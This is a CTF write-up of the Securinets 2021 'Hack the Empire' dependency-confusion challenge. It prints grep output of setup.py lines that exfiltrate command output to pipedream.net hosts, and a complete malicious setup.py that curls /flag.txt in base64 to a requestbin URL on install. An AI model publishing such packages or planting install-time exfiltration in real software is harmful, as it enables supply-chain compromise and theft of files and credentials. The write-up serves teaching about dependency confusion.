↑ Top
↩ Go Back
• 10 min read

Securinet CTF 2021 : Hack the Empire

Package managers are wonderful solutions to dependency issues, and they provide a simple interface for developers to install libraries. But what’s working behind when you’re typing that pip, npm, ..? This cool challenge highlights some of the potential pitfalls due to misconfigurations.

The challenge

An enemy of The Empire have a job for you. As an adversary he want to hack CTFQ21EmpireTmp. He heard that in their server is hosting their holy flag in /flag.txt

No IP address is needed in this task. Good luck.

̿̿ ̿̿ ̿̿ ̿’̿’\̵͇̿̿\з= ( ▀ ͜͞ʖ▀) =ε/̵͇̿̿/’̿’̿ ̿ ̿̿ ̿̿ ̿̿

Important: Whatever was the solution that you’re going to adopt, if you want to use webhooks, DO NOT USE any of those that allows other participants to see the flag (don’t use webhook.site, you may let other participants to catch the flag from there) (for example you can use requestbin instead of webhook.site since the flag can be seen by the authenticated user). Think about using a method that will not leave anybody else to read the flag from your steps. And don’t forget to remove your work after you solve the task to avoid anybody else to steal it.

Hint 1: find the original web page (in the original website) that was sharing what you’ve found since that page is not updated

Author: TheEmperors

Writeup

Note: This is not quite the intended solution as I have skipped some steps and went in the wrong direction. You can refer to the the official writeup from the awesome author :)

The only thing provided is the keyword CTFQ21EmpireTmp, so we’ll google that. We come across this stackoverflow post. Looks like the author is downloading python packages from a private repo with the name matching ctf-q21-empire-tmp-[a-z0-9\-]{5,10} every 5 minutes. The following configurations are used:

[global]
extra-index-url = http://<private_IP_and_port>/simple/
trusted-host = <private_IP>

Before I fully understand the above conclusion, I have already googled ctf-q21-empire-tmp-. The search results returned a package from PyPI (already removed at the time) and a mirror. So we pulled the source code from these two sites:

  • PyPI (luckily Google has cached the source code, so we were able to have a peak in it. Turns out it wasn’t intended.)

pypi-package

I am initially confused by this, as the stackoverflow post says that they’re using a private repo, with ‘billions of packages’. Later I realize that it is a hint from the author (Though it’s still possible in a real-case scenario: think of a company owning a private repo publishing some of them to a public repo).

mirror-package

The setup.py across different versions are more or less the same - they send the output of a command to a server. So I filter the scripts with the command grep -rin requests.get.*. It gives the following output:

ctf-q21-empire-tmp-bw13434-0.1.3/setup.py:22:        requests.get("https://ene63d9dv33i6ch.m.pipedream.net/?hehe="+os.popen("pwd").read()) #cat /flag.txt | base64").read())
ctf_q21_empire_tmp_bw13434-0.0.5/setup.py:12:requests.get("https://ene63d9dv33i6ch.m.pipedream.net/?hehe="+os.popen("id").read()) #cat /flag.txt | base64").read())
ctf-q21-empire-tmp-bw13434-0.0.9/setup.py:21:        requests.get("https://ene63d9dv33i6ch.m.pipedream.net/?hehe="+os.popen("id").read()) #cat /flag.txt | base64").read())
ctf-q21-empire-tmp-bw42069-0.0.9/setup.py:11:        requests.get("https://enc2i9ljmjy100e.m.pipedream.net/?hehe="+os.popen("cat /flag.txt | base64").read())
ctf-q21-empire-tmp-bw13434-0.1.12/setup.py:12:        requests.get("https://ene63d9dv33i6ch.m.pipedream.net/?hehe="+os.popen("id").read()) #cat /flag.txt | base64").read())
ctf-q21-empire-tmp-bw13434-0.1.13/setup.py:12:        requests.get("https://ene63d9dv33i6ch.m.pipedream.net/?hehe="+os.popen("cat /etc/flag").read()) #cat /flag.txt | base64").read())
ctf-q21-empire-tmp-bw13434-0.1.2/setup.py:22:#        requests.get("https://ene63d9dv33i6ch.m.pipedream.net/?hehe="+os.popen("id").read()) #cat /flag.txt | base64").read())
ctf-q21-empire-tmp-bw13434-0.1.5/setup.py:22:        requests.get("https://ene63d9dv33i6ch.m.pipedream.net/?hehe="+os.popen("pwd").read()) #cat /flag.txt | base64").read())
ctf-q21-empire-tmp-bw13434-0.1.8/setup.py:23:requests.get("https://ene63d9dv33i6ch.m.pipedream.net/?hehe="+os.popen("ls /var/www/").read()) #cat /flag.txt | base64").read())
ctf-q21-empire-tmp-bw13434-0.0.7/setup.py:15:requests.get("https://ene63d9dv33i6ch.m.pipedream.net/?hehe="+os.popen("id").read()) #cat /flag.txt | base64").read())
ctf-q21-empire-tmp-bw13434-0.1.9/setup.py:22:requests.get("https://ene63d9dv33i6ch.m.pipedream.net/?hehe="+os.popen("ls /var/www/ | base64").read()) #cat /flag.txt | base64").read())
ctf-q21-empire-tmp-1337420-0.0.9/setup.py:11:        requests.get("https://enc2i9ljmjy100e.m.pipedream.net/?hehe="+os.popen("cat /etc/pip.conf | base64").read())
ctf-q21-empire-tmp-bw13434-0.1.11/setup.py:22:        requests.get("https://ene63d9dv33i6ch.m.pipedream.net/?hehe="+os.popen("id").read()) #cat /flag.txt | base64").read())
ctf-q21-empire-tmp-bw13434-0.1.6/setup.py:22:requests.get("https://ene63d9dv33i6ch.m.pipedream.net/?hehe="+os.popen("pwd").read()) #cat /flag.txt | base64").read())
ctf-q21-empire-tmp-bw13434-0.0.6/setup.py:12:requests.get("https://ene63d9dv33i6ch.m.pipedream.net/?hehe="+os.popen("id").read()) #cat /flag.txt | base64").read())
...

We further analyze the endpoints with grep -rin "http.*?" -o | sort | uniq , and found out that there are only three links:

https://en4r9c8fvgmzozb.m.pipedream.net
https://enc2i9ljmjy100e.m.pipedream.net
https://ene63d9dv33i6ch.m.pipedream.net

Now that seems like people are uploading python packages as payloads in order to run commands on the server. After some more googling I found this article, which suggests that the server could be pulling packages matching ctf-q21-empire-tmp-[a-z0-9\-]{5,10} from the public repo PyPI instead of a private one. That means we could upload a malicious package as a payload to the PyPI and the server will trust and install it.

So I followed this guide to craft a package. The setup.py is as follows (modified from the cached package):

from setuptools import setup
import os
from setuptools.command.install import install

class PostInstallCommand(install):
    """Post-installation for installation mode."""
    def run(self):
        install.run(self)
        # PUT YOUR POST-INSTALL SCRIPT HERE or CALL A FUNCTION
        #os.popen("pwd")
setup(
    name='ctf-q21-empire-tmp-bw134346',
    description='Bye world',
    version='0.9.6',
    packages=['main'],
    setup_requires=[
        'requests',
    ],
    cmdclass={
        'install': PostInstallCommand,
    },
)

os.system('curl "https://requestbin.net/r/gf5gqdpw?hehe=$(cat /flag.txt | base64 -w 0)"')

We need base64 -w 0 because by default it inserts an \n after every 76 characters. The command would not work with end line characters.

Then, after a short wait, the requestbin showed this result:

requestbin-b64.png

Which translates into

This is what we call 'Dependency confusion'
that is well explained here (this is not my article but I liked it) https://medium.com/@alex.birsan/dependency-confusion-4a5d60fec610 .
 Which is part of the Open Source Software Supply Chain Attacks.
Flag: Securinets{D3P3Nd3ncy_C0nFu5!n_xD_were_you_confused_enough}
We didn't want to make it more difficult to take in consideration what all the teams need as requirements. This is why for the time being we are not requesting difficult task (just read this file is enough) but the missconfiguration here is tied with the --extra-index-url. You can check the /etc/pip.conf if you are curious to see if this is a real task or was it faked.

flag: Securinets{D3P3Nd3ncy_C0nFu5!n_xD_were_you_confused_enough}

Afterwords

It’s a really interesting challenge that shows using package managers could be a security risk if you are not aware of what you are doing. In the challenge, the loophole stems from the fact that the adminstrator thinks that only packages from the private repo are installed, and puts unconditional trust in them; while in reality the misconfigured pip command searches from the public repo.

For normal package manager users, there is also a take away: don’t install random packages from a repo because you think $``$pip/npm/apt has been installing right & secure packages for me$”$. In fact, when solving the challenge I received some requests called by setup.py not from the server, but most probably from other ctf players. By doing so you could leak important credentials to malicious attackers. Fortunately they did not return any significant credentials, as I only tried commands like whoami / id as a PoC. You should also avoid running sudo pip from now on.

Share on: Twitter